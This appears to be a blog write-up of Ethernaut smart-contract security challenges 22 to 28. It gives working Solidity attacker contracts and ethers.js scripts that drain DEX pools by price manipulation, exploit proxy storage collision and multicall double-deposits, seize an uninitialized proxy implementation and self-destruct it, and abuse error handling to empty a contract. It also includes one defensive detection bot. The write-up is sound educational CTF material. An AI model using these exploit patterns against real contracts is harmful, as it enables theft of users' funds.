Hey! Welcome to the last blog post of the series. Let's dive into it straight away.
22 - Dex
Dex contract has 2 different ERC20 tokens and the balances of these tokens are 100 each. We have to withdraw all the balance of one of the tokens and make the Dex's balance 0.
If you check the code you'll see that the getSwapPrice()
function calculates the swap amount according to the current token balances of the contract. When both of the token balances are 100, we can swap 1 to 1. What happens if the balance of one is 20 but the other is 100? Then we will swap 5 tokens for only 1. Scarcity matters.
We have 10 tokens each and the contract has 100 tokens each.
At first, we will swap 10 token1 for 10 token2.
After the swap we will have 0 token1 and 20 token2, the contract will have 110 token1 and 90 token2.
We have 20 token2 and we'll swap them again. But this time, according to
getSwapPrice()
calculation (20 * 110 / 90), we'll get 24 token1.We will swap back and forth with all of our balances. Until one point: The last swap. There will be a time if we want to swap all of our balance, the contract won't have enough tokens to cover the swap and the transaction will revert.
We have to calculate the amount to swap for the last swap, which will withdraw all of the contract's balance.
The first idea that came to my mind was to loop over the swap function again and again and calculate if the balance is enough before every loop, but I realized that it will require much, much more gas than just calculating it myself.
Only 5 whole balance swap and one last swap was enough to hack the Dex.
function attack() public {
// approve the contract to use the funds
token1.approve(address(ethernautInstance), 5000);
token2.approve(address(ethernautInstance), 5000);
// Swap 5 times with whole balance back and forth
ethernautInstance.swap(address(token1), address(token2), token1.balanceOf(address(this)));
ethernautInstance.swap(address(token2), address(token1), token2.balanceOf(address(this)));
ethernautInstance.swap(address(token1), address(token2), token1.balanceOf(address(this)));
ethernautInstance.swap(address(token2), address(token1), token2.balanceOf(address(this)));
ethernautInstance.swap(address(token1), address(token2), token1.balanceOf(address(this)));
// Swap one last time with 45 tokens
ethernautInstance.swap(address(token2), address(token1), 45);
}
23 - DexTwo
This challenge is similar to the previous one but this time we have to withdraw all the balances of not only one token but two of them.
If we want to swap back and forth again like the previous one, we never can withdraw all because we'll send some tokens for the last swap and leave tokens in the contract eventually. We have to find something else.
What is the difference between these two challenges? Drumrolls, please!require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
This line is the difference. The DexTwo contract doesn't check if the tokens to swap are the tokens we need to withdraw. We can swap any token!
Deploy two different ERC20 token contracts with 2 tokens each.
Send 1 token to the DexTwo contract and 1 token to the attacker contract.
Swap your 1 token with the DexTwo contract's 100 token1.
According togetSwapPrice()
calculation, just 1newToken
will be swapped with 100 token1.Do the same for token2 too.
Deploy two ERC20 tokens first.
// Deploy new tokens first. Only mint 2 tokens each.
contract TokenXX is ERC20 {
constructor() ERC20("TokenXX", "XX") {
_mint(msg.sender, 2);
}
}
contract TokenXY is ERC20 {
constructor() ERC20("TokenXY", "XY") {
_mint(msg.sender, 2);
}
}
Deploy the attacker contract with the new tokens' addresses.
// Deploy attacker contract and use the newly deployed tokens addresses in the constructor.
contract DexTwoAttack {
IDex public ethernautInstance;
IERC20 public token1;
IERC20 public token2;
IERC20 public tokenXX;
IERC20 public tokenXY;
constructor(address instanceAddress, address _tokenXX, address _tokenXY) {
ethernautInstance = IDex(instanceAddress);
token1 = IERC20(ethernautInstance.token1());
token2 = IERC20(ethernautInstance.token2());
tokenXX = IERC20(_tokenXX);
tokenXY = IERC20(_tokenXY);
}
// function attack(){}
}
The attack function is here:
// Before the attack, send 1 token XX and 1 token XY to the victim contract.
// Because of this, getSwapAmount function will return 100 token1 for only 1 tokenXX
function attack() public {
// approve token usage for swap.
tokenXX.approve(address(ethernautInstance), 1);
tokenXY.approve(address(ethernautInstance), 1);
// swap 1 tokenXX for token1 (1 token XX will be equal to 100 token1 according to calculation)
ethernautInstance.swap(address(tokenXX), address(token1), 1);
// swap 1 tokenXY for token2 (1 token XY will be equal to 100 token2 according to calculation)
ethernautInstance.swap(address(tokenXY), address(token2), 1);
}
And here is the attack script:
const dexTwoAttacker = await ethers.getContractAt("DexTwoAttack", ATTACKER_ADDRESS);
const tokenXX = await ethers.getContractAt("ERC20", TOKENXX_ADDRESS);
const tokenXY = await ethers.getContractAt("ERC20", TOKENXY_ADDRESS);
// Transfer 1 token to the attacker and 1 token to the victim contract.
const transferTx1 = await tokenXX.transfer(ATTACKER_ADDRESS, 1);
const transferTx2 = await tokenXX.transfer(INSTANCE_ADDRESS, 1);
const transferTx3 = await tokenXY.transfer(ATTACKER_ADDRESS, 1);
const transferTx4 = await tokenXY.transfer(INSTANCE_ADDRESS, 1);
// Attack
const tx = await dexTwoAttacker.attack();
console.log(await tx.wait());
24 - Puzzle Wallet
This was a hard one. I got stuck multiple times and required some help. First of all, let's understand the challenge. There are two contracts of which one is proxy and the other one is implementation(PuzzleWallet). The implementation contract is the given instance for this challenge and we have to change the admin of the proxy contract.
The first thing we need to understand is how storage slots work in proxy and implementation design. I recommend this article by OpenZeppelin and want you to give huge attention to storage collision, which is the core of this challenge.
As you can see above if the storage slots collide we can call a function in one contract and change the variable in the other one.
Let's get back to the challenge. While the first two storage slots in the proxy contract were address public pendingAdmin
and address public admin
, the first two slots in the PuzzleWallet were address public owner
and uint256 public maxBalance
. So if we update the pendingAdmin
in the proxy, we will update the owner
in the PuzzleWallet too. Similarly, we have to update the maxBalance
variable to our own address to update the admin of the Proxy, which will solve this challenge. But setMaxBalance
function requires the PuzzleWallet balance to be 0, so we have to drain this contract.
Change the
pendingAdmin
variable in the proxy contract and this will update the owner of the PuzzleWallet.After becoming the owner, add yourself to the whitelist.
Deposit some money into the contract.
Steal all the funds
Call the
setMaxBalance
function and change it to our address.
contract PuzzleWalletAttack {
IPuzzleWallet public ethernautInstance;
address public myAddress;
// Deploy the contract and make this contract the owner of the PuzzleWallet instance.
constructor(address instanceAddress) payable {
myAddress = msg.sender;
ethernautInstance = IPuzzleWallet(instanceAddress);
ethernautInstance.proposeNewAdmin(address(this));
}
}
This was the first step and now our attacker contract is the owner of the ethernaut instance. We can add ourselves to the whitelist now.
function attack() public {
// Add yourself to the whitelist.
ethernautInstance.addToWhitelist(address(this));
To drain the balance of the PuzzleWallet we need to call the execute()
function but you might've noticed that this function requires msg.sender
balance to be bigger than the value(which is the balance of this contract).
How does a depositor's balance become bigger than the contract's balance? They have to update the balance twice without actually depositing twice. Here comes the multicall()
function in the contract. That function iterates every element of a bytes[] array and delegatecall
itself with that element. Can we call deposit
function two times with sending ether only one time?
Apparently, we can. We have to create a bytes[] array. The first element of this array will be the byte that calls deposit()
, and the second element will be the byte that calls multicall()
again. Here:
// Find the data to call the multicall and call it.
// This will call deposit first and call the multicall again.
// Find the data to call the deposit function.
bytes[] memory dataToDeposit = new bytes[](1);
dataToDeposit[0] = abi.encodeWithSignature("deposit()");
// Create the data to call the multicall function.
bytes[] memory dataToMulticall = new bytes[](2);
// First element is data to call the deposit.
// Second element is for calling multicall again with dataToDeposit argument.
dataToMulticall[0] = dataToDeposit[0];
dataToMulticall[1] = abi.encodeWithSignature("multicall(bytes[])", dataToDeposit);
// Call the instance with some value.
ethernautInstance.multicall{value: 0.01 ether}(dataToMulticall);
After this, we will need to call the execute()
to drain the contract and then set the maxBalance. That's all.
// Call the execute function and send balance to myAddress
ethernautInstance.execute(myAddress, address(ethernautInstance).balance, "");
// set max balance with myAdress's uint256 equivalent
uint256 x = uint256(uint160(myAddress));
ethernautInstance.setMaxBalance(x);
25 - MotorBike
This challenge is also about proxies & implementations, and we aim to kill the implementation contract. How do we do that?
Upgrade the implementation (which will be our attacker contract)
Our attacker contract should have a
selfdestruct
function.Call the
selfdestruct
in the new implementation and pass this challenge.
As you can see above, if we call this function with the address of the attacker contract and the bytes to call selfdestruct
, we'll complete the challenge. But to be able to call it we have to be authorized (we have to be the upgrader
).
Alright, let's check who is the upgrader
and how can we become.
Did you check it? It's nobody! The contract is not initialized yet. We just need to initialize it inside of our attacker contract:
interface IBike {
function initialize() external;
function upgradeToAndCall(address, bytes memory) external payable;
fallback () external payable;
}
contract MotorbikeAttack {
IBike public ethernautInstance;
address owner;
// Use the Engine Contract address (not the Motorbike Contract) as instanceAddress
constructor(address payable instanceAddress) payable {
ethernautInstance = IBike(instanceAddress);
owner = msg.sender;
}
function attack() public {
// Initialize it first
ethernautInstance.initialize();
// Find the data to call this contract's destroy function
bytes memory dataToDestroy = abi.encodeWithSelector(this.destroy.selector, "");
// Call the upgradeToAndCall with this contract's address and the bytes to call destroy function
ethernautInstance.upgradeToAndCall(address(this), dataToDestroy);
}
function destroy() public payable {
selfdestruct(payable(owner));
}
}
When we call the attack function, it will upgrade the implementation contract to our attacker, and call the destroy()
function right away.
!!! You need to use Engine Contract's address to deploy this attacker, not the Motorbike Contract's address. You can find the Engine Contract's address with etherscan or with the getStorageAt
method.
26 - DoubleEntryPoint
This one looks a little bit complicated. Let's understand it first.
We have to create a bot that alerts us when sweepToken
function inside the CryptoVault
contract is called. What happens in this challenge?
sweepToken
function is called with sometoken
inputIt calls the
transfer
method for that token withtoken.transfer(to, amount)
The
transfer
method delegates the transfer to the delegate contract, which is ethernaut instance (DoubleEntryPoint Contract)The
delegateTransfer
method has a modifier calledfortaNotify
.What does fortaNotify do? It calls the
notify
method in the Forta contract with two arguments (player's address and msg.data).forta.notify(player,
msg.data
)
What happens in the
notify
method? It has a try/catch.
It tries to call thehandleTransaction
method in the player's bot with themsg.data
.
Okay, that's amazing so far but what will we do?
We need to deploy a contract (bot) with a handleTransaction
method, which calls raiseAlert
function in the Forta contract if msg.data
has something we look at.
What are we looking at in the msg.data?
What is this msg.data? It is the data that calls the delegateTransfer
function.
We are looking to find the address origSender
inside this msg.data
and check if it is the same address with the CryptoVault
address. If the origSender
is the cryptoVault
, our bot should raise an alert.
How do we get the origSender
? Maybe you want to check this article.
Let's examine the calldata.
The calldata of this function will be 100 bytes. The first 4 is the function selector. The next 32 bytes will be the address to
, the second next 32 bytes will be the value
and the last 32 bytes will be the address origSender
. Addresses are 20 bytes long so the first 12 bytes will be zero (padded to 32). So basically, we are trying to extract the last 20 bytes of the msg.data
. We can get it with msgData[80:]
Here is my bot contract:
contract DoubleEntryPointBot is IDetectionBot{
IDoubleEntryPoint public ethernautInstance;
IDetectionBot public bot;
IForta public forta;
ICryptoVault public vault;
constructor(address instanceAddress) {
ethernautInstance = IDoubleEntryPoint(instanceAddress);
bot = IDetectionBot(address(this));
vault = ICryptoVault(address(ethernautInstance.cryptoVault()));
forta = IForta(address(ethernautInstance.forta()));
}
function handleTransaction(address user, bytes calldata msgData) external override {
// Get the last 20 bytes of the calldata to get the original sender (calldata will be 100 bytes long)
address orgSender = address(bytes20(msgData[80:]));
// If it is the vault address raise alert.
if (orgSender == address(vault)){
forta.raiseAlert(user);
}
}
}
There was only one thing left which is setting the detection bot by calling setDetectionBot function directly from your EOA and passing the newly deployed bot contract address.
// Get the forta variable of the instance.
const instance = await ethers.getContractAt("DoubleEntryPoint", INSTANCE_ADDRESS);
const fortaAddress = await instance.forta();
const forta = await ethers.getContractAt("Forta", fortaAddress);
// Call the setDetectionBot function with your deployed bot's address.
const tx = await forta.setDetectionBot(BOT_ADDRESS);
const resp = await tx.wait();
27 - Good Samaritan
In this challenge, we have a GoodSamaritan contract, a Coin contract and a Wallet contract. The GoodSamaritan initially has 1000000 coins and gives 10 coins to someone anytime they request, and we have to drain the contract.
Of course we won't call the function 100000 times. We have to trigger the wallet.transferRemainder
function, which is called if the NotEnoughBalance()
error is caught. So we have to trigger this error.
What are the steps?
requestDonation()
is called in the GoodSamaritan.It calls the
wallet.donate10
method.This one calls
coin.transfer
method.If the transferred destination is a contract,
transfer
method will callnotify()
function in the contract.That's the part we will be malicious. We have to write a notify function that acts like a blackHat.
contract GoodSamaritanAttack is INotifyable {
IGoodSamaritan public ethernautInstance;
error NotEnoughBalance();
constructor (address instanceAddress) {
ethernautInstance = IGoodSamaritan(instanceAddress);
}
function attack() public {
ethernautInstance.requestDonation();
}
function notify(uint256 amount) public override {
if(amount == 10) {
revert NotEnoughBalance();
}
}
}
As you can see above, the error will be triggered in the notify function if the amount is 10, and this will lead GoodSamaritan to call the wallet.transferRemainder
. Then it will be notified again with 999990, which will not revert, and you'll see something like this on the etherscan. Some of the calls were reverted but the others were not.
28 - Gatekeeper Three
Aaaaand here we are! The last challenge.
We have to pass three gates again and we already know the first one, which is just a msg.sender != tx.origin
gate. Did you notice that there is a typo in the Gatekeeper contract? constructor() vs construct0r(). The owner was not initialized during the deployment because of this typo.
The gateTwo
requires allow_enterance == true
and the way to make it is to call the getAllowance
function with the right password, which then passes the input to the SimpleTrick contract and calls the checkPassword
method.
At first, I tried to solve the trickyTrick()
but then I realized that this was just bait, just a diversion. We don't need to spend time trying to call the getAllowance
method inside the trickyTrick()
, we can directly call it with the password. We will find the password with getStorageAt.
And the gateThree
is: address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false
What is that mean? We will deposit some ether to this contract but it should revert if the contract tries to send us money back. How? We won't add receive() or fallback() function to our attacker contract, that's all.
contract GatekeeperThreeAttack {
IGatekeeperThree public ethernautInstance;
constructor(address instanceAddress) payable {
ethernautInstance = IGatekeeperThree(instanceAddress);
// Initialize the SimpleTrick contract.
ethernautInstance.createTrick();
}
// Find the password using ethers library getStorageAt in your attacker script and pass it when calling this function.
function attack(uint password) public {
// Become the owner of the instance.
ethernautInstance.construct0r();
// Call the getAllowance function with the password value stored in the SimpleTrick
ethernautInstance.getAllowance(password);
// Send 0.002 ether to the instance
(bool s, ) = address(ethernautInstance).call{value: 0.002 ether}("");
require(s);
// After passing all the gates, call the enter function.
ethernautInstance.enter();
}
}
The one above is the attacker contract and the one below is the attacker script.
And voila! We passed all the gates.
Oh my God! We have completed all of the challenges and this was the last blog post of this series. Thank you for coming this far and hope to see you in the future series.
You can find all the contracts and scripts in my github repository.